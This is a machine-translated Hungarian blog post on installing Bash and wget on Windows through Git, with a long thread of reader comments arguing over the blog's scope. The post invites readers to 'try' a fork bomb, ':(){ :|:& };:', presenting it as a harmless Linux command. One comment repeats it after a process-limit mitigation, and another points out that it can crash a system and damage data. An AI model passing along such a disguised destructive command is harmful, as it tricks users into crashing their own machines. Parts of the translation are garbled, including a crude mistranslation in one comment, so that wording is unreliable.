A Bash megszerzésének számos módja van: Cygwin, AndLinux, Mingw stb., De különösen egyet fogunk használni:
Igen, a git, az az eszköz, amelyet a GitHub adattárak klónozásához használ, magában foglalja a GNU eszközöket is, de hiányzik belőle egy eszköz: "wget", jól integrálódik a Windows konzollal, és még hasznosabbá teszi, innen letölthetjük az eszközt :
Válassza az utolsó lehetőséget.
Válassza a második lehetőséget.
A wget hozzáadásához töltse le a következő fájlt: http://superb-dca2.dl.sourceforge.net/project/mingw/Other/mingwPORT/Current%20Releases/wget-1.9.1-mingwPORT.tar.bz2 csomagolja ki és adja hozzá a wget.exe fájlt a% ProgramFiles% Gitbin fájlhoz
Most élvezheti a Linux parancsokat a Windows rendszeren, meghívom, hogy próbálja ki:
:(){ :|:& };:
PS: Nem merem ...
És most néhány háttérképem Desde Linux:
Háttérképek DesdeLinux by Ivan Linux (Ivan Molina Rebolledo) licenc alatt van Creative Commons Nevezd meg - Nem Kereskedelmi - ShareAlike 4.0 nemzetközi licenc..
Találkozunk a következő bejegyzésemben! = »3
Még mindig nem értem ennek a blognak a jelentését, hogy a gnu / linux használatát motiválja-e, vagy pedig a gnu / linux dolgainak használatát a Windows-on? Windows felhasználó voltam, és nem térnék vissza. Van egy kis partícióm, hogy olyan játékot játszhassak, mint wow, de mivel kipróbáltam a bort, ez nagyon jól működik nekem, és a partíció elindul, ezért nem értem, hogy valaki, aki a gnu-ban van / a linuxot érdekelné ezeknek a dolgoknak a használata a Windows-ban, számomra ő inkább egy Windows felhasználó, aki gnu / linux dolgokat akar használni, aminek nincs értelme ebben a blogban
Mitől gondolja, hogy egy ilyen típusú cikknek köze van ennek a blognak az értelméhez? A blog jelentése sokkal tovább megy 😉
Tudom, hogy sokkal tovább megy, úgy fogalmaztam, hogy a létrehozott bejegyzés miatt jól tudod, mit hoznak a blogba a bejegyzések, és ennek a bejegyzésnek itt nincs értelme
@elav minden tiszteletem, a blog címe "linuxról", ami elvileg határt szab. Úgy tűnik tehát, hogy a blog hatóköre a "Linuxból" megvalósítható dolgok, tapasztalatok, elkészített megoldások stb. például: Windows vagy Mac probléma javítása desde linux. Úgy tűnik, hogy egy olyan művészet, amely arról beszél, hogyan kell csinálni valamit a Windowsból, kívül esik a blog hatókörén. Állapodjunk meg, hogy készítünk 2 vagy 3 vagy több művészetet, hogy elmagyarázzuk, hogyan kell telepíteni a wget-et, a git-et, és nem tudom, mivel lep meg még minket a következő művészetben. Még csak távolról sem új, ezért is értek egyet @hola utolsó megjegyzésével. 3 vagy több borítót fognak erre kiadni??? Félreértés ne essék, a legjobb hangulattal mondom
Ne érts félre, Ronaldo, a lényeg az, hogy a bejegyzés végén az látható, hogy hogyan kell használni az ingyenes alkalmazásokat a Windows rendszeren. Mi a baj vele? Tudta, hogy a KDE használható Windows rendszeren? Ha munkám során a Windows rendszert kellene használnom, sokakhoz hasonlóan kötelezném, megköszönném az ilyen típusú cikkeket. Ezen kívül, amit mindig mondok, egy cikksorozatnak semmi köze a blog céljához.
Napokig nem volt internetem, és amikor belépek, megtalálom ezeket a dolgokat.
Kopasz punci, tudok rendesen beszélni, és barátomról barátra ez a típusú bejegyzés itt nem tűnik helyesnek, mert az az igazság, hogy ösztönzik a Windows használatát, és bár sem te, sem én nem vagyunk Windowsellenes tálib rajongók .. egyszerűen nincs "linuxear" a Windows-nak nincs értelme, egy dolog az, hogy utánozzuk egy másik megjelenését a rendszerben (bármi is legyen az), ez egy egyszerű szeszély (ha a KDE-vel rendelkezhetünk Mac-rel vagy Windows-tal stb.), és egy másik ösztönzi az ablakok használatát.
Aki meg akarja csinálni, annak nem kell minket érintenie, de nem szabad kínálnunk a Windows-ban való munkavégzés lehetőségeit.
Talán az egyetlen dolog, amivel egyetértek, az az, hogy az ingyenes alkalmazásokat a rendszeren belül ajánlom, mert apránként érdekes módszer a lépés megtételére, de nem tudom, ez a pár cikk elég hasznosnak tűnt számomra. Hiábavaló? Dezorientált?
Két nano dolog:
1- Több mint kétféleképpen veheti fel velem a kapcsolatot, és hadd lássa véleményét, nem volt szükséges, hogy itt hagyja.
2- Még mindig nem látom, hogy mi a probléma az ilyen típusú cikkekkel, ezért megkérdezem:
- A cikk egy pontján megmutatták, hogyan kell kalózolni a szoftvert?
- A cikk egy pontján megmutatták, hogyan használja a magánalkalmazásokat?
Ismétlem (és továbbra is így fogok tenni), hogy ez a típusú cikk nem rossz mindenkinek, akinek kötelessége, hogy a Windows-ot munkahelyén vagy másutt használja, és az általunk használt alkalmazásokat GNU / Linux-ban akarja használni. Legalábbis én így látom ezeket a cikkeket .. Tehát megismétlem, mi az áldott probléma?
és a III. résznél ugyanaz 😛
A fenébe, csak két cikket tettek közzé a Windows rendszerrel kapcsolatban, és Ön már panaszkodik. Ez nem egy cikk a Windows-ról, nem valami nagyon hasznos egy Windows számára, egyszerűen csak egy érdekesség. Mi az előnye annak, ha a wget-et a Windows-ban használjuk a grafikus programokkal, ugyanúgy, mint a nano esetében. Bármi. Ez egyszerűen egy érdekesség, "nézd meg, ha szimulálhatsz egy bash-t a Windows-ban". Ugyanezen három szabály szerint, amelyet erről a bejegyzésről mondasz, itt nincs értelme, miért lenne értelme egy posztnak, amely elmagyarázza, hogyan lehet jól konfigurálni a bort? Vagy miért lenne értelme egy posztnak, amely a szerver szolgáltatások konfigurálását jelenti egy normál felhasználó számára, vagy fordítva rendszergazda?
Ebben a blogban összefoglalva az információkat érdemes és logikus, hogy minimális kapcsolatban áll a GNU / Linux-szal, elutasítanak minden minimális tudást, ostobaság.
Teljesen egyetértek, desdelinux Már nem az, ami volt
10-ig tudnék számolni. Egyszerűen nem tudnék semmit mondani, de az ehhez hasonló, nem hozzájáruló (inkább rosszindulatú) megjegyzéseket nem lehet figyelmen kívül hagyni. Kérek mindenkit, aki így gondolkodik, ha DesdeLinux Nem az, ami volt. Ti ketten mit tettetek, hogy elkerüljétek a megjegyzéseken kívül?
Miért nem segítesz nekem DesdeLinux az legyen, ami mindig volt számodra, és már nem az? Nagyon könnyű olyannak lenni, mint a galambok, élelmet kapni és kapni a csőrben, és nem adunk semmit cserébe, nem gondolod?
Van véleményed és tiszteletben tartom, de ne feledd, hogy amit mondasz, árthat azoknak az érzéseinknek, akik nap mint nap megpróbáljuk jobbá tenni ezt a teret.
Csak azért regisztráltam, hogy támogatást nyújtsak nektek, és hogy tudjátok, hogy ez az oldal túlmutat azokon, akik regisztráltak és kommentálják az egyes híreket, számtalan ember tanul, akik névtelenségből tanulnak, és nézd, az ilyen negatív kommentek pont az ellenkezőjét kapják, hogy Lépjünk előre
Remélem, ez pótolja a szentimentális sebet :), egyébként üdvözlet mindenkinek.
Köszönöm BlueSkull. Nem igazán az, hogy bántottnak érzem magam, még nem, de bosszant engem, valahányszor valaki az egész munkánkat elbírálja egy-két tételért, ami nem tetszik neki.
Még egyszer köszönöm, hogy betértél és kommenteltél.
Egy másik dolog, olyannyira, hogy megvédik az ingyenes szoftvereket a szoftverkalózkodás elkerülése érdekében, és a szerző jó értelemben azt mondja, hogy a portált kalóz módon töltötték le, amikor ez a játék pár dollárt ér a gőzben. Keménynek kell lenned, ha itt van ez a bejegyzés.
Ugyan azt gondoltam.
Valószínűleg a bank korlátozza a hitelkártya (vagy betéti kártya) megszerzését, és nem fogad el más fizetési módokat.
a kétség haszna 😛
A biztosítás kiskorú, ezért banki korlátai vannak. Elképzelem, mert velem is ugyanaz történik.
Az IvanLinux nem veszi rosszul, de ezek a cikkek nem festenek semmit a linuxról szóló blogban, ezért cikkeket kell tenned arról, hogyan kell Windows-ban csinálni a dolgokat, ahelyett, hogy megpróbálnád utánozni (lehetetlen dolog) a linuxot a Windows-ban.
A wget, bash és néhány linuxos dolog telepítése a Windows-ra nem fogja javítani, csak a linux olcsó példánya.
Nyilvánvaló, hogy ez egy konstruktív kritika, remélem, nem sértődött meg, de valóban, kérjük, változtassa meg az ilyen típusú cikk sorát 😉
Üdvözlet
Ha megosztott forráskóddal fogsz dolgozni, és nincs más választásod, mint a GIT-et használni, akkor csak úr.
Ha így vagy úgy köteles használni a Windows rendszert, de megszokta a Linux eszközöket, akkor rendben van, nyílt szoftvert terjeszt, mi a probléma?
Linuxon futtassa ezt, mielőtt futtatja a villaszivattyút
sudo nano /etc/security/limits.conf
és adja hozzá ezt a sort
* kemény nproc 1000
vagy jobb
echo '* hard nproc 1000' >> /etc/security/limits.conf
és akkor már futhatnak:
: () {: |: &};:
El tudom képzelni a Windows-ban, hogy milyen hatása lesz!
Kék képernyő?
Mit tesz a parancs mindezzel?
A művészet 1 70% -a elmagyarázza, hogyan kell telepíteni a git multiplatform programot az unix móddal egy bash betöltésére (a git függvényében)
2 A művészet 10% -a a wget telepítéséhez
3 20% hűvös háttérkép
-100-at adok neki
Istenem! A legendás elem minősítő! beszélt!
Jó közreműködés Ivan 😀
Valójában nem látom a Linux poszt rosszulitását, gondolom, legyen a Win2, hogy vannak olyan linuxok, amelyeknek valamilyen oknál fogva a win2-t és a poétikát kell használniuk, miért ne tennénk néhány dolgot, akár egyenlőek, akár kevésbé erősek mint azok, amelyek GNU / Linux-ot használnak a Win2-n, hogy jobban érezzék magukat és jobban működjenek. Lehet, hogy Ivan a win2-t telepítette a játékhoz, de mindenkinek, aki GNU / Linux-ot használ, a win2-t kell használnia, és itt adhatja meg ezeket a bejegyzéseket.
+1
True Story, mert én is használom a Windows rendszert, de olyan grafikai tervezéshez, mint a Photoshop és / vagy a CorelDraw (megszokásból).
Megtartom az ff háttérképet 😀
Lássuk az embereket, a bejegyzés az INGYENES SZOFTVER használatáról szól a Windows rendszerben, amelyeket ilyen vagy olyan okokból kötelesek használni, akár munkára, tanulmányokra stb.
Most kezdtem el informatikát tanulni, és nos, igazán nem tudom, szükség lesz-e a Microsoft fejlesztőeszközeire (remélem, hogy nem), de hé, ha ez a helyzet, akkor le kell mondanom magamról. Ez a cikk lényege. Nyílt szoftvert terjeszt, és ez rendben van, függetlenül attól, hogy milyen platformon van.
Ne feledje, hogy kereskedelmi és technikai alkalmazásokban (szerverek, felügyeleti rendszerek) a Linux dominál a Window $ felett. Tehát egyáltalán nem kell lemondania magáról. Ne feledje, hogy sok Linux és ingyenes szoftver alapvető eszköz, mint például az Apache szerverek, nem is beszélve a Linux tűzfalakról (például a Netfilter), amelyek átadják a ruhát a tűzfal többi részének
Tudomásul veszem, hogy. Azzal, hogy beletörődtem a Windowsba, az az volt, hogy konkrét alkalmazásokat programozzak a Windowshoz (nem tudom, hogy meg lehet-e csinálni desde Linux, ezért kétségeim).
Lehetséges, vannak olyan RAD (Rapid Application Development (vizuális stúdió)), amelyek lehetővé teszik, hogy csak egyszer programozzon és fordítson GNU / Linux számára - Win 32 és 64 bit - Még Mac Android (Multiplatform) is.
A lényeg az, hogy ha kormányzati iskolában jár, és országának nincs olyan politikája, amely az ingyenes szoftverek használatát kedvezné, akkor biztosan abban az esetben lesz, ha munkáját csak saját tulajdonú opciókért tudja bemutatni.
Az UANL-ben vagyok, amely megértésem szerint független az államtól. Látni kell.
sok utáló és senki sem kommentálja az első képernyőképet? alex ubagót hallgatja, biztosan trollkodik!
És kinek kell hallgatnia Alex Ubagót?
semmi rossz.
Arjona hallgat
a probléma nem megaupload, a probléma megaporn ...
XD
beszélsz magaddal xD
De miről beszélsz? oO
Mi köze a megának ehhez?
És ki Arjona?
És mi köze ennek a földrajzhoz?
Azt hittem, hogy ez a blog a linuxok számára készült, szánalmasnak tartom ezt a bejegyzést, teljesen helytelen
Nos, furcsálltam, hogy a bash használható az ablakokon. Azt is gondolom, hogy néhány ember számára ez hasznos lehet.
helló2.
jó, hogy bash van a Windows-on, a win-bash telepítése sokkal jobbnak tűnik, mint a git telepítése
Régóta látogatom ezt a gnu linux blogot, általában nem kommentálom, csak azt olvasom, amit publikálnak, és meg kell mondanom, hogy nem sértődöm meg, hogy az ilyen típusú posztok fájnak.
Mielőtt valaki azt mondja, hogy kritizálok csak a kritika miatt, elmagyarázok egy keveset, a portál és hasonló játékok jelenleg a Steam-en vannak a linux számára, az első részben a kalózkodásra utal a letöltési ablakokkal, többek között olyan kérdéses dolgokkal, mint például a Windows használatának ösztönzése . És csak azért, hogy valaki ne mondhassa, hogy a szabad szoftvereket általában is népszerűsítik, mi az ingyenes, a windows vagy a portál?
Ha ez egy sor hozzászólás lenne arról, hogyan lehet migrálni a saját tulajdonú alkalmazásokat a Windows-ban szabadokba, azok számára, akik nem tudnak rendszerváltást végezni, vagy hogyan lehet a plazma-asztalt használni Windows-ban, az nagyon más lenne.
Annyi homokjuk van, oké, ez a blog a linuxról szól, de csak 2 "érdekességet" tettek közzé a windowsról, és azt mondják, hogy a blog nem az, ami volt, megértem, hogy nem szeretik a windows-ot, és személy szerint én is jobban szeretem a linuxot, de nem annyi, Windows Ez egy operációs rendszer, mint a Linux, vannak jó és rossz dolgai (bár a legtöbbjük rossz), a bejegyzésen kívül a Linuxhoz kapcsolódik, tehát nem csak Windows, nem értem miért többségük olyan zárt és bolond
Amikor letöltöm a futtatható fájlt, azt mondja, hogy a fájl sérült.
Milyen furcsa…
Itt vannak a tükrök:
http://code.google.com/p/msysgit/downloads/list
és a 3. rész mikor? nagyon jó a bejegyzés !!!
Helló, nem értem, miért hívsz meg minket arra, hogy próbáljuk ki ezt a «: () {: |: &};::» parancsot, amikor ugyanazon az oldalon egy másik bejegyzésben (https://blog.desdelinux.net/comandos-peligrosos-en-gnulinux/) mondja ezt a parancsról:
«: () {: |: &};::» Valójában az első két karakter összekapcsolódik: nagyszámú folyamat a rendszer összeomlásáig, ami adatok sérülését okozhatja. Hol maradunk akkor? Köszönjük.